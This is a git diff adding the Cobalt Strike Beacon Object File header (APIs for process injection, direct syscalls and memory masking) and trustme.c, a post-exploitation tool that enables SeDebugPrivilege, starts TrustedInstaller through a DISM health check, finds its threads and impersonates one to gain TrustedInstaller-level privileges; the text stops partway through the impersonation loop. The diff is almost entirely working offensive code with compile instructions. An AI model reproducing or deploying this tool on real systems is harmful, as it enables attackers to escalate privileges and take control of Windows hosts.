diff --git a/beacon.h b/beacon.h new file mode 100644 index 0000000..2e9c3af --- /dev/null +++ b/beacon.h @@ -0,0 +1,403 @@ +/* + * Beacon Object Files (BOF) + * ------------------------- + * A Beacon Object File is a light-weight post exploitation tool that runs + * with Beacon's inline-execute command. + * + * Additional BOF resources are available here: + * - https://github.com/Cobalt-Strike/bof_template + * + * Cobalt Strike 4.x + * ChangeLog: + * 1/25/2022: updated for 4.5 + * 7/18/2023: Added BeaconInformation API for 4.9 + * 7/31/2023: Added Key/Value store APIs for 4.9 + * BeaconAddValue, BeaconGetValue, and BeaconRemoveValue + * 8/31/2023: Added Data store APIs for 4.9 + * BeaconDataStoreGetItem, BeaconDataStoreProtectItem, + * BeaconDataStoreUnprotectItem, and BeaconDataStoreMaxEntries + * 9/01/2023: Added BeaconGetCustomUserData API for 4.9 + * 3/21/2024: Updated BeaconInformation API for 4.10 to return a BOOL + * Updated the BEACON_INFO data structure to add new parameters + * 4/19/2024: Added BeaconGetSyscallInformation API for 4.10 + * 4/25/2024: Added APIs to call Beacon's system call implementation + * 12/18/2024: Updated BeaconGetSyscallInformation API for 4.11 (Breaking changes) + * 2/13/2025: Updated SYSCALL_API structure with more ntAPIs for 4.11 + * 3/20/2025: Updated ALLOCATED_MEMORY_SECTION structure with driploader page size for 4.12 + * 4/7/2025: Updated ALLOCATED_MEMORY_REGION structure with driploader allocation granularity for 4.12 + * 7/16/2025: Updated ALLOCATED_MEMORY_PURPOSE structure with PURPOSE_UDC2_MEMORY for 4.12 + */ +#ifndef _BEACON_H_ +#define _BEACON_H_ +#include + +#ifdef __cplusplus +extern "C" { +#endif // __cplusplus + +/* data API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} datap; + +DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size); +DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size); +DECLSPEC_IMPORT int BeaconDataInt(datap * parser); +DECLSPEC_IMPORT short BeaconDataShort(datap * parser); +DECLSPEC_IMPORT int BeaconDataLength(datap * parser); +DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size); + +/* format API */ +typedef struct { + char * original; /* the original buffer [so we can free it] */ + char * buffer; /* current pointer into our buffer */ + int length; /* remaining length of data */ + int size; /* total size of this buffer */ +} formatp; + +DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz); +DECLSPEC_IMPORT void BeaconFormatReset(formatp * format); +DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, const char * text, int len); +DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, const char * fmt, ...); +DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size); +DECLSPEC_IMPORT void BeaconFormatFree(formatp * format); +DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value); + +/* Output Functions */ +#define CALLBACK_OUTPUT 0x0 +#define CALLBACK_OUTPUT_OEM 0x1e +#define CALLBACK_OUTPUT_UTF8 0x20 +#define CALLBACK_ERROR 0x0d +#define CALLBACK_CUSTOM 0x1000 +#define CALLBACK_CUSTOM_LAST 0x13ff + + +DECLSPEC_IMPORT void BeaconOutput(int type, const char * data, int len); +DECLSPEC_IMPORT void BeaconPrintf(int type, const char * fmt, ...); +DECLSPEC_IMPORT BOOL BeaconDownload(const char * filename, const char* buffer, unsigned int length); + + +/* Token Functions */ +DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token); +DECLSPEC_IMPORT void BeaconRevertToken(); +DECLSPEC_IMPORT BOOL BeaconIsAdmin(); + +/* Spawn+Inject Functions */ +DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length); +DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len); +DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo); +DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo); + +/* Utility Functions */ +DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max); + +/* Beacon Information */ +/* + * ptr - pointer to the base address of the allocated memory. + * size - the number of bytes allocated for the ptr. + */ +typedef struct { + char * ptr; + size_t size; +} HEAP_RECORD; +#define MASK_SIZE 13 + +/* Information the user can set in the USER_DATA via a UDRL */ +typedef enum { + PURPOSE_EMPTY, + PURPOSE_GENERIC_BUFFER, + PURPOSE_BEACON_MEMORY, + PURPOSE_SLEEPMASK_MEMORY, + PURPOSE_BOF_MEMORY, + PURPOSE_UDC2_MEMORY, + PURPOSE_USER_DEFINED_MEMORY = 1000 +} ALLOCATED_MEMORY_PURPOSE; + +typedef enum { + LABEL_EMPTY, + LABEL_BUFFER, + LABEL_PEHEADER, + LABEL_TEXT, + LABEL_RDATA, + LABEL_DATA, + LABEL_PDATA, + LABEL_RELOC, + LABEL_USER_DEFINED = 1000 +} ALLOCATED_MEMORY_LABEL; + +typedef enum { + METHOD_UNKNOWN, + METHOD_VIRTUALALLOC, + METHOD_HEAPALLOC, + METHOD_MODULESTOMP, + METHOD_NTMAPVIEW, + METHOD_USER_DEFINED = 1000, +} ALLOCATED_MEMORY_ALLOCATION_METHOD; + +/** +* This structure allows the user to provide additional information +* about the allocated heap for cleanup. It is mandatory to provide +* the HeapHandle but the DestroyHeap Boolean can be used to indicate +* whether the clean up code should destroy the heap or simply free the pages. +* This is useful in situations where a loader allocates memory in the +* processes current heap. +*/ +typedef struct _HEAPALLOC_INFO { + PVOID HeapHandle; + BOOL DestroyHeap; +} HEAPALLOC_INFO, *PHEAPALLOC_INFO; + +typedef struct _MODULESTOMP_INFO { + HMODULE ModuleHandle; +} MODULESTOMP_INFO, *PMODULESTOMP_INFO; + +typedef union _ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION { + HEAPALLOC_INFO HeapAllocInfo; + MODULESTOMP_INFO ModuleStompInfo; + PVOID Custom; +} ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION; + +typedef struct _ALLOCATED_MEMORY_CLEANUP_INFORMATION { + BOOL Cleanup; + ALLOCATED_MEMORY_ALLOCATION_METHOD AllocationMethod; + ALLOCATED_MEMORY_ADDITIONAL_CLEANUP_INFORMATION AdditionalCleanupInformation; +} ALLOCATED_MEMORY_CLEANUP_INFORMATION, *PALLOCATED_MEMORY_CLEANUP_INFORMATION; + +typedef struct _ALLOCATED_MEMORY_SECTION { + ALLOCATED_MEMORY_LABEL Label; // A label to simplify Sleepmask development + PVOID BaseAddress; // Pointer to virtual address of section + SIZE_T VirtualSize; // Virtual size of the section + DWORD CurrentProtect; // Current memory protection of the section + DWORD PreviousProtect; // The previous memory protection of the section (prior to masking/unmasking) + BOOL MaskSection; // A boolean to indicate whether the section should be masked + DWORD DripLoadPageSize; // The page size used when committing memory during drip-loading +} ALLOCATED_MEMORY_SECTION, *PALLOCATED_MEMORY_SECTION; + +typedef struct _ALLOCATED_MEMORY_REGION { + ALLOCATED_MEMORY_PURPOSE Purpose; // A label to indicate the purpose of the allocated memory + PVOID AllocationBase; // The base address of the allocated memory block + SIZE_T RegionSize; // The size of the allocated memory block + DWORD Type; // The type of memory allocated + DWORD DripLoadAllocationGranularity; // The allocation granularity used when reserving memory for drip-loading + ALLOCATED_MEMORY_SECTION Sections[8]; // An array of section information structures + ALLOCATED_MEMORY_CLEANUP_INFORMATION CleanupInformation; // Information required to cleanup the allocation +} ALLOCATED_MEMORY_REGION, *PALLOCATED_MEMORY_REGION; + +typedef struct { + ALLOCATED_MEMORY_REGION AllocatedMemoryRegions[6]; +} ALLOCATED_MEMORY, *PALLOCATED_MEMORY; + +/* + * version - The version of the beacon dll was added for release 4.10 + * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch + * e.g. 0x040900 -> CS 4.9 + * 0x041000 -> CS 4.10 + * + * sleep_mask_ptr - pointer to the sleep mask base address + * sleep_mask_text_size - the sleep mask text section size + * sleep_mask_total_size - the sleep mask total memory size + * + * beacon_ptr - pointer to beacon's base address + * The stage.obfuscate flag affects this value when using CS default loader. + * true: beacon_ptr = allocated_buffer - 0x1000 (Not a valid address) + * false: beacon_ptr = allocated_buffer (A valid address) + * For a UDRL the beacon_ptr will be set to the 1st argument to DllMain + * when the 2nd argument is set to DLL_PROCESS_ATTACH. + * heap_records - list of memory addresses on the heap beacon wants to mask. + * The list is terminated by the HEAP_RECORD.ptr set to NULL. + * mask - the mask that beacon randomly generated to apply + * + * Added in version 4.10 + * allocatedMemory - An ALLOCATED_MEMORY structure that can be set in the USER_DATA + * via a UDRL. + */ +typedef struct { + unsigned int version; + char * sleep_mask_ptr; + DWORD sleep_mask_text_size; + DWORD sleep_mask_total_size; + + char * beacon_ptr; + HEAP_RECORD * heap_records; + char mask[MASK_SIZE]; + + ALLOCATED_MEMORY allocatedMemory; +} BEACON_INFO, *PBEACON_INFO; + +DECLSPEC_IMPORT BOOL BeaconInformation(PBEACON_INFO info); + +/* Key/Value store functions + * These functions are used to associate a key to a memory address and save + * that information into beacon. These memory addresses can then be + * retrieved in a subsequent execution of a BOF. + * + * key - the key will be converted to a hash which is used to locate the + * memory address. + * + * ptr - a memory address to save. + * + * Considerations: + * - The contents at the memory address is not masked by beacon. + * - The contents at the memory address is not released by beacon. + * + */ +DECLSPEC_IMPORT BOOL BeaconAddValue(const char * key, void * ptr); +DECLSPEC_IMPORT void * BeaconGetValue(const char * key); +DECLSPEC_IMPORT BOOL BeaconRemoveValue(const char * key); + +/* Beacon Data Store functions + * These functions are used to access items in Beacon's Data Store. + * BeaconDataStoreGetItem returns NULL if the index does not exist. + * + * The contents are masked by default, and BOFs must unprotect the entry + * before accessing the data buffer. BOFs must also protect the entry + * after the data is not used anymore. + * + */ + +#define DATA_STORE_TYPE_EMPTY 0 +#define DATA_STORE_TYPE_GENERAL_FILE 1 + +typedef struct { + int type; + DWORD64 hash; + BOOL masked; + char* buffer; + size_t length; +} DATA_STORE_OBJECT, *PDATA_STORE_OBJECT; + +DECLSPEC_IMPORT PDATA_STORE_OBJECT BeaconDataStoreGetItem(size_t index); +DECLSPEC_IMPORT void BeaconDataStoreProtectItem(size_t index); +DECLSPEC_IMPORT void BeaconDataStoreUnprotectItem(size_t index); +DECLSPEC_IMPORT size_t BeaconDataStoreMaxEntries(); + +/* Beacon User Data functions */ +DECLSPEC_IMPORT char * BeaconGetCustomUserData(); + +/* Beacon System call */ +/* Syscalls API */ +typedef struct +{ + PVOID fnAddr; + PVOID jmpAddr; + DWORD sysnum; +} SYSCALL_API_ENTRY, *PSYSCALL_API_ENTRY; + +typedef struct +{ + SYSCALL_API_ENTRY ntAllocateVirtualMemory; + SYSCALL_API_ENTRY ntProtectVirtualMemory; + SYSCALL_API_ENTRY ntFreeVirtualMemory; + SYSCALL_API_ENTRY ntGetContextThread; + SYSCALL_API_ENTRY ntSetContextThread; + SYSCALL_API_ENTRY ntResumeThread; + SYSCALL_API_ENTRY ntCreateThreadEx; + SYSCALL_API_ENTRY ntOpenProcess; + SYSCALL_API_ENTRY ntOpenThread; + SYSCALL_API_ENTRY ntClose; + SYSCALL_API_ENTRY ntCreateSection; + SYSCALL_API_ENTRY ntMapViewOfSection; + SYSCALL_API_ENTRY ntUnmapViewOfSection; + SYSCALL_API_ENTRY ntQueryVirtualMemory; + SYSCALL_API_ENTRY ntDuplicateObject; + SYSCALL_API_ENTRY ntReadVirtualMemory; + SYSCALL_API_ENTRY ntWriteVirtualMemory; + SYSCALL_API_ENTRY ntReadFile; + SYSCALL_API_ENTRY ntWriteFile; + SYSCALL_API_ENTRY ntCreateFile; + SYSCALL_API_ENTRY ntQueueApcThread; + SYSCALL_API_ENTRY ntCreateProcess; + SYSCALL_API_ENTRY ntOpenProcessToken; + SYSCALL_API_ENTRY ntTestAlert; + SYSCALL_API_ENTRY ntSuspendProcess; + SYSCALL_API_ENTRY ntResumeProcess; + SYSCALL_API_ENTRY ntQuerySystemInformation; + SYSCALL_API_ENTRY ntQueryDirectoryFile; + SYSCALL_API_ENTRY ntSetInformationProcess; + SYSCALL_API_ENTRY ntSetInformationThread; + SYSCALL_API_ENTRY ntQueryInformationProcess; + SYSCALL_API_ENTRY ntQueryInformationThread; + SYSCALL_API_ENTRY ntOpenSection; + SYSCALL_API_ENTRY ntAdjustPrivilegesToken; + SYSCALL_API_ENTRY ntDeviceIoControlFile; + SYSCALL_API_ENTRY ntWaitForMultipleObjects; +} SYSCALL_API, *PSYSCALL_API; + +/* Additional Run Time Library (RTL) addresses used to support system calls. + * If they are not set then system calls that require them will fall back + * to the Standard Windows API. + * + * Required to support the following system calls: + * ntCreateFile + */ +typedef struct +{ + PVOID rtlDosPathNameToNtPathNameUWithStatusAddr; + PVOID rtlFreeHeapAddr; + PVOID rtlGetProcessHeapAddr; +} RTL_API, *PRTL_API; + +/* Updated in version 4.11 to use the entire structure instead of pointers to the structure. + * This allows for retrieving a copy of the information which would be under the BOF's + * control instead of a reference pointer which may be obfuscated when beacon is sleeping. + */ +typedef struct +{ + SYSCALL_API syscalls; + RTL_API rtls; +} BEACON_SYSCALLS, *PBEACON_SYSCALLS; + +/* Updated in version 4.11 to include the size of the info pointer, which equals sizeof(BEACON_SYSCALLS) */ +DECLSPEC_IMPORT BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, SIZE_T infoSize, BOOL resolveIfNotInitialized); + +/* Beacon System call functions which will use the current system call method */ +DECLSPEC_IMPORT LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +DECLSPEC_IMPORT LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect); +DECLSPEC_IMPORT BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType); +DECLSPEC_IMPORT BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); +DECLSPEC_IMPORT BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext); +DECLSPEC_IMPORT DWORD BeaconResumeThread(HANDLE threadHandle); +DECLSPEC_IMPORT HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId); +DECLSPEC_IMPORT HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId); +DECLSPEC_IMPORT BOOL BeaconCloseHandle(HANDLE object); +DECLSPEC_IMPORT BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress); +DECLSPEC_IMPORT SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length); +DECLSPEC_IMPORT BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions); +DECLSPEC_IMPORT BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesRead); +DECLSPEC_IMPORT BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten); + +/* Beacon Gate APIs */ +DECLSPEC_IMPORT VOID BeaconDisableBeaconGate(); +DECLSPEC_IMPORT VOID BeaconEnableBeaconGate(); + +DECLSPEC_IMPORT VOID BeaconDisableBeaconGateMasking(); +DECLSPEC_IMPORT VOID BeaconEnableBeaconGateMasking(); + +/* Beacon User Data + * + * version format: 0xMMmmPP, where MM = Major, mm = Minor, and PP = Patch + * e.g. 0x040900 -> CS 4.9 + * 0x041000 -> CS 4.10 +*/ + +#define DLL_BEACON_USER_DATA 0x0d +#define BEACON_USER_DATA_CUSTOM_SIZE 32 +typedef struct +{ + unsigned int version; + PSYSCALL_API syscalls; + char custom[BEACON_USER_DATA_CUSTOM_SIZE]; + PRTL_API rtls; + PALLOCATED_MEMORY allocatedMemory; +} USER_DATA, * PUSER_DATA; + +#ifdef __cplusplus +} +#endif // __cplusplus +#endif // _BEACON_H_ diff --git a/trustme.c b/trustme.c new file mode 100644 index 0000000..c4a54a2 --- /dev/null +++ b/trustme.c @@ -0,0 +1,340 @@ +/* + * trustme.c - Become TrustedInstaller BOF + * + * Uses the DISM API to trigger TrustedInstaller.exe, then walks + * the process list via NtGetNextProcess/NtGetNextThread to find it + * and impersonate one of its threads via NtImpersonateThread. + * + * Requires: Admin context with SeDebugPrivilege available + * + * Compile (x64): + * x86_64-w64-mingw32-gcc -c trustme.c -o trustme.x64.o -masm=intel + * + * Compile (x86): + * i686-w64-mingw32-gcc -c trustme.c -o trustme.x86.o -masm=intel + */ + +#include +#include +#include "beacon.h" + +/* ====================================================================== + * Dynamic Function Resolution (DFR) declarations + * ====================================================================== */ + +/* --- kernel32.dll --- */ +DECLSPEC_IMPORT WINBASEAPI HMODULE WINAPI KERNEL32$LoadLibraryA(LPCSTR); +DECLSPEC_IMPORT WINBASEAPI FARPROC WINAPI KERNEL32$GetProcAddress(HMODULE, LPCSTR); +DECLSPEC_IMPORT WINBASEAPI HMODULE WINAPI KERNEL32$GetModuleHandleA(LPCSTR); +DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$FreeLibrary(HMODULE); +DECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentThread(void); +DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI KERNEL32$CloseHandle(HANDLE); +DECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(void); + +/* --- advapi32.dll --- */ +DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$OpenProcessToken(HANDLE, DWORD, PHANDLE); +DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$LookupPrivilegeValueA(LPCSTR, LPCSTR, PLUID); +DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$AdjustTokenPrivileges(HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, PDWORD); +DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$OpenThreadToken(HANDLE, DWORD, BOOL, PHANDLE); +DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD); +DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD); +DECLSPEC_IMPORT WINBASEAPI BOOL WINAPI ADVAPI32$LookupAccountSidA(LPCSTR, PSID, LPSTR, LPDWORD, LPSTR, LPDWORD, PSID_NAME_USE); + +/* --- msvcrt --- */ +DECLSPEC_IMPORT void * __cdecl MSVCRT$malloc(size_t); +DECLSPEC_IMPORT void __cdecl MSVCRT$free(void *); +DECLSPEC_IMPORT int __cdecl MSVCRT$_stricmp(const char *, const char *); +DECLSPEC_IMPORT wchar_t * __cdecl MSVCRT$wcsstr(const wchar_t *, const wchar_t *); +DECLSPEC_IMPORT wchar_t * __cdecl MSVCRT$_wcslwr(wchar_t *); +DECLSPEC_IMPORT void * __cdecl MSVCRT$memcpy(void *, const void *, size_t); +DECLSPEC_IMPORT void * __cdecl MSVCRT$memset(void *, int, size_t); + +// Ntdll function typedefs +typedef NTSTATUS(NTAPI* fnNtQueryInformationProcess)( + HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG); +typedef NTSTATUS(NTAPI* fnNtGetNextProcess)( + HANDLE, ACCESS_MASK, ULONG, ULONG, PHANDLE); +typedef NTSTATUS(NTAPI* fnNtGetNextThread)( + HANDLE, HANDLE, ACCESS_MASK, ULONG, ULONG, PHANDLE); +typedef NTSTATUS(NTAPI* fnNtImpersonateThread)( + HANDLE, HANDLE, PSECURITY_QUALITY_OF_SERVICE); +typedef NTSTATUS(NTAPI* fnNtClose)(HANDLE); + +// DISM function typedefs +typedef UINT DismSession; +typedef enum { + DismImageHealthy = 0, + DismImageRepairable = 1, + DismImageNonRepairable = 2 +} DismImageHealthState; + +typedef HRESULT(WINAPI* fnDismInitialize)(UINT, PCWSTR, PCWSTR); +typedef HRESULT(WINAPI* fnDismOpenSession)(PCWSTR, PCWSTR, PCWSTR, DismSession*); +typedef HRESULT(WINAPI* fnDismCheckImageHealth)(DismSession, BOOL, PVOID, PVOID, PVOID, DismImageHealthState*); +typedef HRESULT(WINAPI* fnDismCloseSession)(DismSession); +typedef HRESULT(WINAPI* fnDismShutdown)(void); + +// constants +#define DISM_ONLINE_IMAGE L"DISM_{53BFAE52-B167-4E2F-A258-0A37B57FF845}" + +#ifndef ProcessImageFileName +#define ProcessImageFileName 27 +#endif + +#ifndef STATUS_INFO_LENGTH_MISMATCH +#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) +#endif + +#ifndef STATUS_BUFFER_TOO_SMALL +#define STATUS_BUFFER_TOO_SMALL ((NTSTATUS)0xC0000023L) +#endif + +#ifndef SE_DEBUG_NAME +#define SE_DEBUG_NAME "SeDebugPrivilege" +#endif + +// enable SeDebugPrivilege +static BOOL EnableDebugPrivilege(void) { + HANDLE hToken = NULL; + if (!ADVAPI32$OpenProcessToken((HANDLE)-1, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) { + BeaconPrintf(CALLBACK_ERROR, "OpenProcessToken failed: %lu", KERNEL32$GetLastError()); + return FALSE; + } + + LUID luid; + if (!ADVAPI32$LookupPrivilegeValueA(NULL, SE_DEBUG_NAME, &luid)) { + BeaconPrintf(CALLBACK_ERROR, "LookupPrivilegeValue failed: %lu", KERNEL32$GetLastError()); + KERNEL32$CloseHandle(hToken); + return FALSE; + } + + TOKEN_PRIVILEGES tp; + tp.PrivilegeCount = 1; + tp.Privileges[0].Luid = luid; + tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if (!ADVAPI32$AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL)) { + BeaconPrintf(CALLBACK_ERROR, "AdjustTokenPrivileges failed: %lu", KERNEL32$GetLastError()); + KERNEL32$CloseHandle(hToken); + return FALSE; + } + + if (KERNEL32$GetLastError() == ERROR_NOT_ALL_ASSIGNED) { + BeaconPrintf(CALLBACK_ERROR, "SeDebugPrivilege not available. Are you elevated?"); + KERNEL32$CloseHandle(hToken); + return FALSE; + } + + KERNEL32$CloseHandle(hToken); + return TRUE; +} + +// entrypoint +void go(char * args, int alen) { + + if (!EnableDebugPrivilege()) { + BeaconPrintf(CALLBACK_ERROR, "Failed to enable SeDebugPrivilege. Aborting."); + return; + } + BeaconPrintf(CALLBACK_OUTPUT, "[+] SeDebugPrivilege enabled"); + + // load dismapi.dll and resolve DISM functions + HMODULE hDism = KERNEL32$LoadLibraryA("dismapi.dll"); + if (!hDism) { + BeaconPrintf(CALLBACK_ERROR, "Failed to load dismapi.dll: %lu", KERNEL32$GetLastError()); + return; + } + + fnDismInitialize pDismInitialize = (fnDismInitialize)KERNEL32$GetProcAddress(hDism, "DismInitialize"); + fnDismOpenSession pDismOpenSession = (fnDismOpenSession)KERNEL32$GetProcAddress(hDism, "DismOpenSession"); + fnDismCheckImageHealth pDismCheckImageHealth = (fnDismCheckImageHealth)KERNEL32$GetProcAddress(hDism, "DismCheckImageHealth"); + fnDismCloseSession pDismCloseSession = (fnDismCloseSession)KERNEL32$GetProcAddress(hDism, "DismCloseSession"); + fnDismShutdown pDismShutdown = (fnDismShutdown)KERNEL32$GetProcAddress(hDism, "DismShutdown"); + + if (!pDismInitialize || !pDismOpenSession || !pDismCheckImageHealth || !pDismCloseSession || !pDismShutdown) { + BeaconPrintf(CALLBACK_ERROR, "Failed to resolve one or more DISM functions"); + KERNEL32$FreeLibrary(hDism); + return; + } + + // resolve ntdll functions + HMODULE hNtdll = KERNEL32$GetModuleHandleA("ntdll.dll"); + if (!hNtdll) { + BeaconPrintf(CALLBACK_ERROR, "Failed to get ntdll handle"); + KERNEL32$FreeLibrary(hDism); + return; + } + + fnNtQueryInformationProcess pNtQIP = (fnNtQueryInformationProcess)KERNEL32$GetProcAddress(hNtdll, "NtQueryInformationProcess"); + fnNtGetNextProcess pNtGNP = (fnNtGetNextProcess)KERNEL32$GetProcAddress(hNtdll, "NtGetNextProcess"); + fnNtGetNextThread pNtGNT = (fnNtGetNextThread)KERNEL32$GetProcAddress(hNtdll, "NtGetNextThread"); + fnNtImpersonateThread pNtIT = (fnNtImpersonateThread)KERNEL32$GetProcAddress(hNtdll, "NtImpersonateThread"); + fnNtClose pNtC = (fnNtClose)KERNEL32$GetProcAddress(hNtdll, "NtClose"); + + if (!pNtQIP || !pNtGNP || !pNtGNT || !pNtIT || !pNtC) { + BeaconPrintf(CALLBACK_ERROR, "Failed to resolve one or more ntdll functions"); + KERNEL32$FreeLibrary(hDism); + return; + } + + // trigger TrustedInstaller via DISM + HRESULT hr = pDismInitialize(0, NULL, NULL); + if (FAILED(hr)) { + BeaconPrintf(CALLBACK_ERROR, "DismInitialize failed: 0x%08X", hr); + KERNEL32$FreeLibrary(hDism); + return; + } + + DismSession session = 0; + hr = pDismOpenSession(DISM_ONLINE_IMAGE, NULL, NULL, &session); + if (FAILED(hr)) { + BeaconPrintf(CALLBACK_ERROR, "DismOpenSession failed: 0x%08X", hr); + pDismShutdown(); + KERNEL32$FreeLibrary(hDism); + return; + } + + DismImageHealthState state; + MSVCRT$memset(&state, 0, sizeof(state)); + hr = pDismCheckImageHealth(session, FALSE, NULL, NULL, NULL, &state); + if (FAILED(hr)) { + BeaconPrintf(CALLBACK_ERROR, "DismCheckImageHealth failed: 0x%08X", hr); + pDismCloseSession(session); + pDismShutdown(); + KERNEL32$FreeLibrary(hDism); + return; + } + + BeaconPrintf(CALLBACK_OUTPUT, "[*] DISM health check complete, TrustedInstaller should be running"); + + // walk processes to find TrustedInstaller.exe + HANDLE hProcess = NULL; + HANDLE hPrevProcess = NULL; + NTSTATUS status = 0; + BOOL found = FALSE; + + while (NT_SUCCESS(pNtGNP(hProcess, PROCESS_QUERY_INFORMATION, 0, 0, &hProcess))) { + if (hPrevProcess) pNtC(hPrevProcess); + hPrevProcess = hProcess; + + ULONG len = 0; + status = pNtQIP(hProcess, ProcessImageFileName, NULL, 0, &len); + if (status != STATUS_INFO_LENGTH_MISMATCH && status != STATUS_BUFFER_TOO_SMALL) + continue; + if (len == 0) + continue; + + PUNICODE_STRING pImageFileName = (PUNICODE_STRING)MSVCRT$malloc(len); + if (!pImageFileName) + continue; + + status = pNtQIP(hProcess, ProcessImageFileName, pImageFileName, len, &len); + if (!NT_SUCCESS(status)) { + MSVCRT$free(pImageFileName); + continue; + } + + BOOL isTarget = FALSE; + if (pImageFileName->Buffer && pImageFileName->Length > 0) { + // copy to stack buffer for case-insensitive match + WCHAR lower[MAX_PATH]; + MSVCRT$memset(lower, 0, sizeof(lower)); + USHORT charsToCopy = pImageFileName->Length / sizeof(WCHAR); + if (charsToCopy >= MAX_PATH) charsToCopy = MAX_PATH - 1; + MSVCRT$memcpy(lower, pImageFileName->Buffer, charsToCopy * sizeof(WCHAR)); + lower[charsToCopy] = L'\0'; + MSVCRT$_wcslwr(lower); + isTarget = (MSVCRT$wcsstr(lower, L"trustedinstaller.exe") != NULL); + } + MSVCRT$free(pImageFileName); + + if (!isTarget) + continue; + + // get PID + PROCESS_BASIC_INFORMATION pbi; + MSVCRT$memset(&pbi, 0, sizeof(pbi)); + pNtQIP(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &len); + BeaconPrintf(CALLBACK_OUTPUT, "[*] Found TrustedInstaller.exe (PID: %llu)", + (unsigned long long)pbi.UniqueProcessId); + + // walk threads and impersonate + SECURITY_QUALITY_OF_SERVICE qos; + MSVCRT$memset(&qos, 0, sizeof(qos)); + qos.Length = sizeof(qos); + qos.ImpersonationLevel = SecurityImpersonation; + qos.ContextTrackingMode = SECURITY_DYNAMIC_TRACKING; + qos.EffectiveOnly = FALSE; + + HANDLE hThread = NULL; + HANDLE hPrevThread = NULL; + + while (NT_SUCCESS(pNtGNT(hProcess, hThread, THREAD_DIRECT_IMPERSONATION, 0, 0, &hThread))) { + if (hPrevThread) pNtC(hPrevThread); + hPrevThread = hThread; + + status = pNtIT(KERNEL32$GetCurrentThread(), hThread, &qos); + if (!NT_SUCCESS(status)) { + BeaconPrintf(CALLBACK_ERROR, "NtImpersonateThread failed: 0x%08X", status); + continue; + } + + // make sure it actually worked by checking thread token identity + char username[257]; + MSVCRT$memset(username, 0, sizeof(username)); + DWORD usernameLen = 257; + ADVAPI32$GetUserNameA(username, &usernameLen); + + if (MSVCRT$_stricmp(username, "SYSTEM") == 0) { + BeaconPrintf(CALLBACK_OUTPUT, "[+] Thread impersonation successful (identity: %s)", username); + + + // Register the 